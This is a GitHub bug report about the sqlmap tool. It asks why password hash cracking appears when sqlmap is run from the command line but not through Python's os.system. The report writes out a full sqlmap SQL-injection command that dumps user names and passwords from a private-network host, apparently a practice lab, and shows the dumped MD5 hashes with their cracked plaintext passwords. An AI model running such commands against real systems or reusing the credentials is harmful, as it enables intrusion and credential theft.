Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

When I normally open the command line and execute the following command #5831

Open
ss122-0ss opened this issue Dec 18, 2024 · 0 comments
Open

Comments

@ss122-0ss
Copy link

Describe the Bug

Normal Command Line Execution

When I normally open the command line and execute the following command:

python G:\jingsai\Hacking_gpt\sqlmap-master\sqlmap.py -u "http://192.168.196.133/index.html?page=blog&title=Blog&id=2" --batch -D ehks -T user -C user_name,user_pass --dump

The result is as follows:

Table: user
[6 entries]
+-----------+--------------------------------------------------+
| user_name | user_pass                                        |
+-----------+--------------------------------------------------+
| achen     | b46265f1e7faa3beab09db5c28739380 (seventysixers) |
| dstevens  | 02e823a15a392b5aa4ff4ccb9060fa68 (ilike2surf)    |
| ghighland | 9f3eb3087298ff21843cc4e013cf355f (undone1)       |
| jdurbin   | 7c7bc9f465d86b8164686ebb5151a717 (Sue1978)       |
| pmoore    | 8f4743c04ed8e5f39166a81f26319bb5 (Homesite)      |
| sorzek    | 64d1f88b9b276aece4b0edcc25b7a434 (pacman)        |
+-----------+--------------------------------------------------+

Using Python's os.system

When I use the following command in Python using os.system:

import os
os.system('python G:\\jingsai\\Hacking_gpt\\sqlmap-master\\sqlmap.py -u "http://192.168.196.133/index.html?page=blog&title=Blog&id=2" --batch -D ehks -T user -C user_name,user_pass --dump')

The result is as follows:

Database: ehks
Table: user
[6 entries]
+-----------+----------------------------------+
| user_name | user_pass                        |
+-----------+----------------------------------+
| achen     | b46265f1e7faa3beab09db5c28739380 |
| dstevens  | 02e823a15a392b5aa4ff4ccb9060fa68 |
| ghighland | 9f3eb3087298ff21843cc4e013cf355f |
| jdurbin   | 7c7bc9f465d86b8164686ebb5151a717 |
| pmoore    | 8f4743c04ed8e5f39166a81f26319bb5 |
| sorzek    | 64d1f88b9b276aece4b0edcc25b7a434 |
+-----------+----------------------------------+
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

No branches or pull requests

1 participant